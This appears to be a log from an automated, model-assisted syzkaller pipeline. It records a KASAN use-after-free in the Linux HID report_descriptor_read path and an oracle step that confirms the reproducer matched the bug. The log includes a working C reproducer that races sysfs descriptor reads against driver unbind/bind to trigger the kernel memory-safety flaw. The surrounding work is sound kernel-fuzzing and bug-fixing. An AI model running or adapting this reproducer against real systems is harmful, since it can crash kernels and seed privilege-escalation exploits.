RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
</TASK>
Allocated by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
apple_probe+0xef/0x10b0 drivers/hid/hid-apple.c:958
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
device_driver_attach+0xe0/0x1d0 drivers/base/dd.c:1206
bind_store+0x1d0/0x220 drivers/base/bus.c:267
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2689 [inline]
slab_free mm/slub.c:6250 [inline]
kfree+0x1c5/0x640 mm/slub.c:6565
hid_close_report+0x632/0x720 drivers/hid/hid-core.c:734
hid_device_remove+0x259/0x370 drivers/hid/hid-core.c:2885
device_remove drivers/base/dd.c:619 [inline]
__device_release_driver drivers/base/dd.c:1352 [inline]
device_release_driver_internal+0x46f/0x870 drivers/base/dd.c:1375
unbind_store+0x1a1/0x1d0 drivers/base/bus.c:244
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
The buggy address belongs to the object at ffff88810a256880
which belongs to the cache kmalloc-96 of size 96
The buggy address is located 0 bytes inside of
freed 96-byte region [ffff88810a256880, ffff88810a2568e0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a256
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff888100041280 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 52, tgid 52 (kworker/u9:2), ts 4499508242, free_ts 0
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_node_noprof+0x465/0x6b0 mm/slub.c:5427
kmalloc_node_noprof include/linux/slab.h:1077 [inline]
__get_vm_area_node+0x13f/0x300 mm/vmalloc.c:3215
__vmalloc_node_range_noprof+0x36a/0x1750 mm/vmalloc.c:4024
__vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
alloc_thread_stack_node kernel/fork.c:357 [inline]
dup_task_struct+0x298/0x840 kernel/fork.c:926
copy_process+0x89b/0x4440 kernel/fork.c:2090
kernel_clone+0x284/0x8f0 kernel/fork.c:2721
user_mode_thread+0x110/0x180 kernel/fork.c:2797
call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
page_owner free stack trace missing
Memory state around the buggy address:
ffff88810a256780: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256800: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
>ffff88810a256880: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
^
ffff88810a256900: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256980: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
==================================================================
|
| 233/4 |
2026/05/19 10:23 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 19344
output: 73
thoughts: 773
Thoughts: **Analysis of Reproducer Run Results**
Okay, first things first, I need to analyze these reproducer results. The system initially flags `Reproduced: false`. That seems off, looking at the console output. Wait a minute, here's a KASAN crash:
`[ 69.441630][ T5887] ==================================================================`
`[ 69.444223][ T5887] BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100`
`[ 69.446722][ T5887] Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887`
And this crash report *absolutely* matches the bug description: `BUG: KASAN: slab-use-after-free Read in report_descriptor_read`. So, the reproducer did in fact trigger the bug! This doesn't make sense, why the initial `Reproduced: false`?
Let's re-read the prompt, specifically: "If the output indicates that this was a successful probe execution (all probes passed), set Reproduced to false but provide feedback indicating that the environment is ready and the agent should now proceed to generate the full reproducer in the next iteration." But this isn't a *probe* execution, it's a crash!
Now, wait, there's also the section that says: "When Reproduced is false, analyze TruncatedConsoleOutput for execution patterns (hangs, immediate exits, syscall failures) to provide detailed feedback on why it failed and how to fix it." But the reproducer did *not* fail; it *crashed*! I'm pretty sure the initial `Reproduced: false` is misleading. The system might have incorrectly analyzed the crash as a probe or misidentified the bug.
Let's quickly check the title again to make sure:
Bug Description: `KASAN: slab-use-after-free Read in report_descriptor_read`
Crash Report: `BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100`
Okay, this confirms that `TitleMatches` should be `true`. The feedback needs to clearly state that the crash was successfully triggered.
Ah, right, now the prompt mentions the `set-results` tool and says it must be called exactly once. And, crucially, it says to ignore the results of the tool itself.
Let me make sure I'm not missing any edge cases. "If the output indicates that this was a successful probe execution (all probes passed), set Reproduced to false but provide feedback indicating that the environment is ready and the agent should now proceed to generate the full reproducer in the next iteration." Nope, this is not a probe; it's a full-blown KASAN crash.
Alright, here's the feedback I'll provide: "The reproducer successfully triggered the expected KASAN slab-use-after-free in `report_descriptor_read`. The crash report matches the bug description perfectly. The race condition between reading the report descriptor and unbinding the device was successfully hit."
Now, let me call `set-results`. Done.
|
| 234/4 |
2026/05/19 10:23 |
tool |
set-results |
0m
Args: map[Feedback:The reproducer successfully triggered the expected KASAN slab-use-after-free in `report_descriptor_read`. The crash report matches the bug description perfectly, confirming that the race condition between reading the report descriptor and unbinding the device was successfully hit. TitleMatches:true]
Results: map[Feedback:The reproducer successfully triggered the expected KASAN slab-use-after-free in `report_descriptor_read`. The crash report matches the bug description perfectly, confirming that the race condition between reading the report descriptor and unbinding the device was successfully hit. TitleMatches:true]
|
| 235/3 |
2026/05/19 10:23 |
action |
loop-controller |
0m
Results: map[ContinueSignal: OracleFeedback:The reproducer successfully triggered the expected KASAN slab-use-after-free in `report_descriptor_read`. The crash report matches the bug description perfectly, confirming that the race condition between reading the report descriptor and unbinding the device was successfully hit. ReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid successfully.\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_CREATE2: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device %d successfully.\n", idx);
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) {
printf("[-] Failed to open /sys/bus/hid/devices: %s\n", strerror(errno));
return;
}
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
if (write(unbind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be unbound
}
if (write(bind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be bound
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
printf("[+] Found device name: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
printf("[+] Successfully opened bind and unbind files for driver %s.\n", target_devices[i].driver);
break;
} else {
printf("[-] Failed to open bind/unbind for driver %s.\n", target_devices[i].driver);
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
} else {
printf("[-] Device name not found for index %d.\n", i);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_DESTROY: %s\n", strerror(errno));
}
close(uhid_fd);
}
if (target_idx == -1) {
printf("[-] No suitable device/driver found.\n");
return 1;
}
printf("[+] Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open report_descriptor: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor successfully.\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
if (pthread_create(&t_read[i], NULL, read_thread, &fd) != 0) {
printf("[-] Failed to create read thread %d\n", i);
return 1;
}
}
printf("[+] Created read threads.\n");
if (pthread_create(&t_bind, NULL, bind_thread, fds) != 0) {
printf("[-] Failed to create bind thread\n");
return 1;
}
printf("[+] Created bind thread.\n");
printf("[+] Waiting for 10 seconds to trigger race...\n");
sleep(10);
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
Reproduced:true ReproducedBugTitle:KASAN: slab-use-after-free Read in report_descriptor_read ReproducedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887
CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_pread64 fs/read_write.c:765 [inline]
__do_sys_pread64 fs/read_write.c:773 [inline]
__se_sys_pread64 fs/read_write.c:770 [inline]
__x64_sys_pread64+0x199/0x230 fs/read_write.c:770
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f9bac0c499e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
</TASK>
Allocated by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
apple_probe+0xef/0x10b0 drivers/hid/hid-apple.c:958
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
device_driver_attach+0xe0/0x1d0 drivers/base/dd.c:1206
bind_store+0x1d0/0x220 drivers/base/bus.c:267
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2689 [inline]
slab_free mm/slub.c:6250 [inline]
kfree+0x1c5/0x640 mm/slub.c:6565
hid_close_report+0x632/0x720 drivers/hid/hid-core.c:734
hid_device_remove+0x259/0x370 drivers/hid/hid-core.c:2885
device_remove drivers/base/dd.c:619 [inline]
__device_release_driver drivers/base/dd.c:1352 [inline]
device_release_driver_internal+0x46f/0x870 drivers/base/dd.c:1375
unbind_store+0x1a1/0x1d0 drivers/base/bus.c:244
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
The buggy address belongs to the object at ffff88810a256880
which belongs to the cache kmalloc-96 of size 96
The buggy address is located 0 bytes inside of
freed 96-byte region [ffff88810a256880, ffff88810a2568e0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a256
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff888100041280 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 52, tgid 52 (kworker/u9:2), ts 4499508242, free_ts 0
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_node_noprof+0x465/0x6b0 mm/slub.c:5427
kmalloc_node_noprof include/linux/slab.h:1077 [inline]
__get_vm_area_node+0x13f/0x300 mm/vmalloc.c:3215
__vmalloc_node_range_noprof+0x36a/0x1750 mm/vmalloc.c:4024
__vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
alloc_thread_stack_node kernel/fork.c:357 [inline]
dup_task_struct+0x298/0x840 kernel/fork.c:926
copy_process+0x89b/0x4440 kernel/fork.c:2090
kernel_clone+0x284/0x8f0 kernel/fork.c:2721
user_mode_thread+0x110/0x180 kernel/fork.c:2797
call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
page_owner free stack trace missing
Memory state around the buggy address:
ffff88810a256780: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256800: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
>ffff88810a256880: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
^
ffff88810a256900: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256980: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
==================================================================
]
|
| 236/1 |
2026/05/19 10:23 |
action |
save-repro-c |
0m
Results:
|